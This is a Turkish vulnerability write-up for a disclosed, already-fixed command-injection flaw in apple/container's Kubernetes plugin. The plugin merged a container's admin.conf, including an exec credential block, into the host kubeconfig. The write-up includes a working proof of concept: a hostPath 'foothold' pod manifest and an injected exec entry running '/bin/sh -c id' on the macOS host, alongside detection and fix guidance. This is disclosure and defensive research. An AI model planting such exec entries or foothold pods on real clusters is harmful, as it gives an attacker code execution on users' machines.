CVE-2026-113951 - Apple Container Command Injection — shaggy
Önce VM escape ihtimalini araştırdım. Zafiyet ise kubeconfig’in birleştirilme biçiminde çıktı.
Bu yazıda zafiyeti bulmadan önce incelediğim saldırı yüzeylerini, yaptığım testleri ve neden başka bir sonuca ulaşamadığımı da anlatıyorum.
apple/container içindeki container k8s eklentisi, cluster container’ının admin.conf dosyasını filtrelemeden kullanıcının host kubeconfig’ine birleştiriyor. Cluster container’ının dosya sistemine yazma erişimi elde eden bir saldırgan; ele geçirilmiş bir workload, bir hostPath mount’u ya da kurcalanmış bir node imajı üzerinden bir kubectl exec credential plugin’i yerleştirebilir. Kurban bir sonraki kubectl komutunu çalıştırdığında bu plugin, macOS kullanıcısının yetkileriyle çalışır.
Etkilenen sürümler:
< 1.5.0· Düzeltildi:1.5.0· Ciddiyet: Yüksek · CVE: CVE-2026-113951Bu zafiyet Apple container ekibine sorumlu bir şekilde bildirildi. GHSA-44v5-vx46-ghv6 danışma belgesiyle yayımlandı ( NVD: CVE-2026-113951 ) ve
1.5.0sürümünde PR #2310 ile düzeltildi.
apple/container Nedir?
Apple’ın Mac üzerinde Linux container’ları oluşturup çalıştırmak için geliştirdiği açık kaynak araç. Swift ile yazılmış, Apple silicon için optimize edilmiş ve macOS 26 gerektiriyor. İmajlar standart OCI imajları, yani kullandığın registry’lerle çalışıyor.
İzolasyon modeli burayı ilginç kılan kısım: Docker Desktop gibi tek bir büyük Linux VM yerine her container, Apple’ın Containerization Swift paketiyle yönetilen kendi hafif VM’inde çalışıyor. container CLI, arka plandaki container-apiserver ile XPC üzerinden konuşuyor; Apple’ın yerel süreçler arası iletişim mekanizması.
Host ile guest arasında veri taşıyan araçlarda, her iki yöndeki veri akışını da incelemek gerekiyor. apple/container imajları guest’e aktarıyor, çıktı ve cluster kimlik bilgilerini ise host’a geri taşıyor.

Bu Araştırma Nasıl Başladı?
Kubernetes ile başlamadım. İki güven seviyesi arasında duran her araca sorduğum basit bir soruyla başladım: sınır nerede ve sınırı ne geçiyor?
apple/container bu iki ortam arasında çalışıyor. Host tarafında SSH anahtarları, tarayıcı oturumları ve keychain gibi kullanıcı verileri bulunuyor. Guest tarafında ise üçüncü taraf imajlarını çalıştıran Linux VM’ler var. Bu nedenle host ile guest arasındaki iletişim önemli bir inceleme alanıydı.
Başarısız Denemeler
Bu dört denemenin hiçbiri zafiyete çıkmadı. Ama her biri bu aracın gerçek savunmalarının nerede olduğunu gösterdi, beklediğimden daha fazla işime yaradı.

1. VM Escape: En Bariz Olanı
Şüphe: Her container kendi VM’indeyse, ilginç bug klasik olanı olabilir: guest’ten çıkıp host’a geçmek.
Ne yaptım: Host’u ve guest’i dışarıdan karşılaştırıp paylaşılan bir şey var mı diye baktım.
1$ uname -sr
2Darwin 27.0.0
3
4$ sw_vers -productVersion
527.0
6
7$ sysctl -n machdep.cpu.brand_string
8Apple M2 Pro
9
10$ container run --rm alpine uname -sr
11Linux 6.18.35
12
13$ container run --rm alpine cat /proc/cpuinfo | grep -m1 Features
14Features : fp asimd aes pmull sha1 sha2 crc32 atomics fphp asimdhp cpuid ...Host, CPU’sunu sysctl ile doğrudan bildiriyor. Guest ise yalnızca kendi Linux 6.18.35 çekirdeği içinde /proc/cpuinfo‘nun söylediğini görüyor, aynı çipin farklı bir görünümü. Her container, Apple’ın Virtualization.framework‘ü içinde ayrı bir çekirdek ile açılıyor.
Neden çıkmaz oldu: Guest escape saldırısının aşması gereken katman tam olarak bu framework. Bu bir hafta sonu işi değil, hypervisor araştırma projesi. Aracın kendi yapılandırmasında gevşek duran bir şey yoktu, çekecek ip de yoktu. “İmkansız değil, ucuz da değil” diye not alıp ilerledim.
2. Paylaşımlı Klasörler: Symlink ve ..
Şüphe: container run -v host_dir:/data bir host klasörünü virtiofs üzerinden guest’e açıyor, Apple’ın host↔guest paylaşımlı klasör protokolü. Paylaşımlı klasörler klasik path bug kaynağıdır. Paylaşılan klasörün içeriğini kontrol eden bir guest, host tarafının paylaşımın dışına doğru takip edeceği bir symlink yerleştirebilir.
Ne yaptım: Boş bir dizini mount ettim, guest içinden iki symlink oluşturdum (biri mutlak, biri ../ içeren) ve sonucu iki taraftan da inceledim.
1$ container run --rm -v /tmp/share:/data alpine sh -c \
2 'ln -s /etc/hostname /data/l1; ln -s ../etc/hostname /data/l2; cat /data/l1; cat /data/l2'
3454bb2d5-d59f-4ae2-98dc-69f6ee3db73e454bb2d5-d59f-4ae2-98dc-69f6ee3db73eGuest içinden ikisi de sorunsuz çözülüyor, çünkü oradaki .. guest’in kendi kökü demek, host’un değil.
1$ ls -la /tmp/share
2total 0
3drwxr-xr-x 4 shaggy staff 128 31 Oct 18:34 .
4drwxrwxrwt 37 root wheel 1184 31 Oct 18:34 ..
5lrwxr-xr-x 1 shaggy staff 13 31 Oct 18:34 l1 -> /etc/hostname
6lrwxr-xr-x 1 shaggy staff 15 31 Oct 18:34 l2 -> ../etc/hostnameHost’ta ise ikisi de düz symlink girdisi olarak duruyor, başka bir şey yok.
Neden çıkmaz oldu: Guest, host üzerinde symlink oluşturabiliyor ama host’a onu takip ettiremiyor. Ayrıca yalnızca açıkça istediğin klasörü paylaşıyorsun, yani kazansam bile kurbanın hassas bir şeyi mount etmiş olması gerekirdi.
3. Image Pull: Zararlı Katmanlar
Şüphe: container image pull internetten güvenilmeyen tarball’lar çekiyor, tar açma işleminin path traversal geçmişi de uzun, o yüzden katmanların host’ta gerçekte nereye gittiğine baktım.
1$ ls ~/Library/Application\ Support/com.apple.container/
2apiserver containers kernels plugin-state state.json
3builder content networks snapshots volumes
4
5$ find ~/Library/Application\ Support/com.apple.container/containers -maxdepth 2 | head
6/Users/shaggy/Library/Application Support/com.apple.container/containers
7/Users/shaggy/Library/Application Support/com.apple.container/containers/poc
8/Users/shaggy/Library/Application Support/com.apple.container/containers/poc/rootfs.ext4Her container, containers/<id>/ altında kendine ait bir rootfs.ext4 blok imajı alıyor. Katmanlar bu imaja açılıyor, imaj da VM’e disk olarak bağlanıyor.
Neden çıkmaz oldu: Bir ext4 imajının içindeki traversal o imajın içinde kalıyor. Host katmanı kendi dosya ağacına açmıyor, kaçılacak bir yer yoktu.
4. XPC API
Şüphe: container-apiserver, uzun ömürlü bir XPC servisinin arkasında duruyor; böyle yerel servisler yetki sınırlarının ince kaldığı yerlerdir. launchd servislerini ve arkalarındaki süreçleri listeledim.
1$ launchctl list | grep -i container
256880 0 com.apple.container.container-network-vmnet.default
356990 0 com.apple.container.container-core-images
456873 0 com.apple.container.apiserver
5924 0 com.apple.containermanagerd
6- 0 com.apple.ContainerMigrationService
756988 0 com.apple.container.machine-apiserver
8
9$ ps -axo user,comm | grep -i container- | sort -u
10shaggy /usr/local/bin/container-apiserver
11shaggy /usr/local/libexec/container/plugins/container-core-images/bin/container-core-images
12shaggy /usr/local/libexec/container/plugins/container-network-vmnet/bin/container-network-vmnetapiserver, imaj servisi, ağ eklentisi, her container’ın runtime’ı, hepsi CLI’ı çalıştıran kullanıcıyla aynı kullanıcı olarak çalışıyor.
Neden çıkmaz oldu: İncelediğim servisler CLI ile aynı kullanıcı yetkileriyle çalışıyordu. Bu nedenle bu servisler üzerinden ilerlemek, farklı bir yetki seviyesine geçiş sağlamayacaktı.
Bu dört denemeden sonra ortak bir nokta fark ettim: araç, host’un guest’e gönderdikleri konusunda dikkatli. Mount’lar açık, açma işlemi kapalı kutuda, VM sert bir duvar. Veri akışını ters yönden incelemeye karar verdim.
Host Tarafındaki Kubeconfig İşlemleri
Önceki denemelerde host’un guest’e açtığı kaynakları ve guest’ten gelebilecek saldırıları inceledim. Bu kez veri akışının ters yönüne baktım: Host, guest içerisindeki hangi dosyaları okuyordu ve bu dosyaları nasıl işliyordu?
CLI komutlarını incelerken container k8s eklentisi dikkatimi çekti. Bu eklenti bir container içerisinde Kubernetes cluster’ı oluşturuyor. Mac üzerindeki kubectl aracının cluster ile iletişim kurabilmesi için eklenti, cluster’ın kimlik bilgilerini host üzerindeki kubeconfig dosyasına aktarıyor.
Kök Neden
Mekanizmadan önce: Bir saldırganın önce cluster container’ının dosya sistemine yazma erişimi elde etmesi gerekiyor. Bu, ele geçirilmiş bir workload, bir
hostPathmount’u ya da kurcalanmış bir node imajı üzerinden olabilir. Varsayılan, digest ile sabitlenmiş node imajıyla yapılan düz bircontainer k8s createbu erişimi kendiliğinden vermiyor. Önümüzdeki iki bölüm boyunca bunu aklında tut, bu bir güven sınırı zafiyeti, uzaktan tetiklenen bir zafiyet değil.
İlgili kod Sources/ContainerK8s/Support/K8sHelper+Kubeconfig.swift içinde. Basitleştirilmiş hali:
1// K8sHelper.fetchConfig
2// cluster container'ından /etc/kubernetes/admin.conf okur
3// ve KubeConfig'e decode eder
4
5// K8sHelper.transformConfig
6// cluster.server'ı container'a işaret edecek şekilde yeniden yazar
7// girdileri yeniden adlandırır
8// GERİ KALAN HER ŞEYİ kullanıcının kubeconfig'ine birleştirir <- bug
Yeniden yazılan yalnızca cluster.server ve isimlerdi. Geri kalan her şey peşinden geldi; host için güvenlik açısından hassas üç alan da dahil:
| Alan | Neden tehlikeli |
|---|---|
users[].user.exec | kubectl bunu yerel bir program olarak çalıştırır |
cluster.proxy-url | API trafiğini saldırganın seçtiği proxy’den geçirir |
cluster.insecure-skip-tls-verify | Sertifika doğrulamasını sessizce kapatır |
Önemli olan exec. Bulut kimlik doğrulama yardımcıları gibi şeyler için tasarlanmış, belgelenmiş bir kubectl özelliği. Somut hali, bir kubeconfig içinde şöyle görünüyor:
1users:
2 - name: poc
3 user:
4 exec:
5 apiVersion: client.authentication.k8s.io/v1
6 command: /path/to/program
7 args:
8 - argumentBuradaki command sıradan bir etiket değil. kubectl, poc için kimlik bilgisine ihtiyaç duyduğunda o programı yerel sistemde, verilen argümanlarla, kubectl’i kim çalıştırıyorsa onun olarak çalıştırıyor. Böylece container içerisinden gelen exec alanı, host üzerindeki kubeconfig’e taşınmış ve kubectl tarafından çalıştırılabilir hale gelmişti.
container k8s write-config en doğrudan tetikleyici, çünkü her çalıştığında canlı cluster’dan admin.conf‘u yeniden okuyor. container k8s create --node-image aynı kod yolundan geçiyor.
Saldırı Zinciri: Container Dosyasından Host’ta Komut Çalıştırmaya

Kök Neden bölümündeki önkoşul burada da geçerli: bu zincir, cluster container’ının dosya sistemine yazma erişiminin zaten var olduğunu varsayıyor. Aşağıdaki kısım, o dosyadan host’ta bir komuta giden yolun geri kalanı.
Araştırma ortamı:
| Bileşen | Sürüm |
|---|---|
| macOS | 27.0, Apple silicon (arm64) |
| apple/container | 1.4.1 |
| Kubernetes node imajı | kindest/node:v1.35.5 (eklentinin varsayılanı) |
| Cluster | container k8s create --name poc --cpus 4 --memory 4G |
Çalıştığının kanıtı olarak zararsız bir işaretleyici (id > dosya) kullandım, başka hiçbir şey değil.
Adım 1: Cluster Container’ında İlk Erişim
Node container’ın dosya sistemine yazma erişimini, /etc/kubernetes dizinini mount eden bir hostPath volume kullanan pod aracılığıyla elde ettim. Node-as-container bir cluster’da bu hostPath‘in “host"u node container’ın kendisi, yani pod node’un admin.conf dosyasını düzenleyebiliyor.
1apiVersion: v1
2kind: Pod
3metadata:
4 name: foothold
5spec:
6 containers:
7 - name: c
8 image: alpine
9 command: ["sleep", "3600"]
10 volumeMounts:
11 - name: k8s
12 mountPath: /node-k8s
13 volumes:
14 - name: k8s
15 hostPath:
16 path: /etc/kubernetes1$ kubectl apply -f foothold.yaml
2pod/foothold created
3
4$ kubectl wait --for=condition=Ready pod/foothold --timeout=90s
5pod/foothold condition metAdım 2: exec Credential Plugin’i Yerleştir
Pod içinden /node-k8s/admin.conf dosyasını düzenledim.
Göstermeye değer bir yan yol. İlk denemem, mevcut sertifika alanlarının yanına yalnızca bir
execbloğu eklemekti. Alan host’a sorunsuz geçti ama hiçbir şey çalışmadı: kubectl istemci sertifikasıyla doğrulandı ve plugin’e hiç ihtiyaç duymadı. Gerçekçi sürüm kimlik bilgilerini değiştiriyor.client-certificate-dataveclient-key-datasatırlarını sildim veexecgirdisini kullanıcının tek kimlik bilgisi olarak bıraktım.
1$ kubectl exec foothold -- sed -n '/^users:/,$p' /node-k8s/admin.conf
2users:
3- name: kubernetes-admin
4 user:
5 exec:
6 apiVersion: client.authentication.k8s.io/v1
7 interactiveMode: Never
8 command: /bin/sh
9 args: ["-c", "id > /tmp/test16.txt"]Adım 3: Kullanıcı Olağan İşlemini Yapıyor
Kullanıcı kubeconfig’ini yeniliyor:
1container k8s write-configfetchConfig değiştirilmiş admin.conf‘u çekiyor, transformConfig server adresini yeniden yazıp exec dahil geri kalan her şeyi host kubeconfig’ine birleştiriyor.
1$ container k8s write-config --name poc --kubeconfig ~/.kube/victim.kubeconfig
2Fetching kubeconfig: ["cluster": poc]
3Writing kubeconfig: ["cluster": poc, "path": /Users/shaggy/.kube/victim.kubeconfig]
4
5$ kubectl config view --raw --kubeconfig ~/.kube/victim.kubeconfig \
6 -o jsonpath="{range .users[*]}{.name}{.user.exec.command}{.user.exec.args}{'\n'}{end}"
7poc/bin/sh["-c","id > /tmp/test16.txt"]Adım 4: kubectl Bunu Host’ta Çalıştırıyor
Bundan sonra kullanıcı o context’e karşı kubectl çalıştırdığında:
1kubectl --context poc get nodeskubectl exec bloğunu görüyor, komutu macOS kullanıcısı olarak başlatıyor ve plugin’in geçerli bir credential döndürmediğinden yakınıyor. Görünen tek belirti bu hata ve o noktada komut çoktan çalışmış oluyor.
1$ kubectl --kubeconfig ~/.kube/victim.kubeconfig --context poc get nodes
2Unable to connect to the server: getting credentials: exec plugin is configured to use
3API version client.authentication.k8s.io/v1, plugin returned version client.authentication.k8s.io/__internal
4
5$ cat /tmp/test16.txt
6uid=501(shaggy) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),80(admin),...kubectl “bağlanılamadı” diyor, bu beklenen: sahte plugin gerçek bir credential döndürmüyor. Ama altındakine bak: uid=501(shaggy) macOS kullanıcısı; bir Linux container’ından çıkan bir komutun host’ta yazdığı dosya. Zararsız bir id kanıt olarak yeterli. Başka herhangi bir komut da aynı yetkilerle aynı şekilde çalışırdı.
Test sırasında karşılaştığım bir ayrıntı:
write-config, oluşturduğu dosyadacurrent-context‘i boş bıraktı, yani çıplak birkubectl get nodescluster girdisine dokunmuyor. Gerçek kullanımda kullanıcı context’i zaten seçmiş oluyor, çünkücontainer k8s createonu~/.kube/configiçinde varsayılan yapıyor.
PoC, herhangi bir bellek bozulması veya yarış durumu gerektirmiyordu. Sorun, container içerisinden alınan kubeconfig verisinin gerekli kontroller yapılmadan host’a aktarılması ve kubectl tarafından işlenmesiydi.
Kimler Etkilenir?
container k8s write-configya dacreate --node-imagekullanan, apple/container< 1.5.0çalıştıran herkes- Cluster container’ına klavyenin başındaki kişiden daha az güvenilir bir şeyin yazabildiği host’lar: paylaşımlı cluster’lar, üçüncü taraf workload’lar, güvenilmeyen kaynaklardan gelen node imajları
Kendi Kubeconfig’ini Kontrol Et
Danışma belgesi, herhangi bir user girdisinde exec ya da auth-provider olup olmadığını gösteren tek satırlık bir komut veriyor:
1kubectl config view --raw -o jsonpath="{range .users[*]}{.name}{'\t'}{.user.exec}{'\t'}{.user['auth-provider']}{'\n'}{end}"container k8s cluster’ıyla ilişkili bir user girdisinde bu alanlardan biri doluysa, girdiyi inceleyip kaynağını doğrula. Bunlar Kubernetes’in meşru özellikleri olduğu için tek başlarına zafiyet veya ele geçirilme göstergesi değiller.
Çözüm
1.5.0 sürümüne yükselt. Düzeltme (
PR #2310
, Kathryn Baldauf tarafından) guest’in kubeconfig’ini yerinde değiştirmeyi bırakıp host tarafındaki girdiyi sıfırdan yeniden inşa ediyor:
execveauth-providersessizce filtrelenmiyor, tüm birleştirme işlemini açık bir hatayla başarısız kılıyor.- Geri kalan her şey bir allowlist’ten yeniden inşa ediliyor: cluster tarafında
cluster.server(yeniden yazılmış) vecertificate-authority-data; user tarafındaclient-certificate-data,client-key-datavetoken. proxy-url,insecure-skip-tls-verifyvetls-server-namesessizce düşürülüyor, çünkü zaten baştan allowlist’te yoktular.- Yeni bir koruma, birden fazla cluster, user ya da context içeren
admin.confdosyalarını da reddediyor. Eski kod bu tür yinelenenleri sessizce container ID’sine yeniden adlandırıyordu, bu da mevcut bir kubeconfig girdisini sessizce bozabiliyordu; ilkinin yanında saklı ikinci bir bug.
Bu tür bir güven sınırı için doğru düzeltme biçimi bu: her tehlikeli alanı tek tek saymaya çalışmak yerine, yalnızca güvenle nasıl ele alınacağını bildiğin alanları kabul et.
Yükseltemiyorsan:
- Dosya sistemine tamamen güvenmediğin bir cluster’a karşı
container k8s write-configçalıştırma - Güvenilmeyen imajlarla
container k8s create --node-imagekullanmaktan kaçın - Yukarıdaki komutla
~/.kube/configdosyanı denetle
Çıkarımlar
Bu araştırmadan öne çıkan birkaç şey:
- Host’a geri dönen veriyi gözden kaçırma. Zamanımın çoğunu host’un guest’e açtıklarına baktım. Bug ise tam tersi yöndeydi: host’un guest’ten çekip sonra güvendiği veride.
- İçe aktarılan yapılandırmayı potansiyel olarak çalıştırılabilir say. kubeconfig’in
execalanı bir örnek. Bir araç tam kontrol etmediği bir kaynaktan yapılandırma birleştiriyorsa, o formatın gerçekte neye izin verdiğine bakmaya değer. - Güven sınırlarında allowlist denylist’ten daha dayanıklı. Buradaki düzeltme güzel bir örnek: her tehlikeli alanı tek tek saymak yerine, yalnızca güvenle nasıl ele alınacağını bildiği alanları kabul ediyor.
Bu araştırmada benim için önemli olan, yalnızca exec alanının kötüye kullanılabilmesi değildi. Host ile guest arasındaki veri akışını incelerken yalnızca host’tan guest’e giden veriye odaklanmanın yeterli olmadığını gördüm. Host’a geri aktarılan yapılandırma dosyaları da aynı şekilde güvenlik incelemesinden geçirilmeli.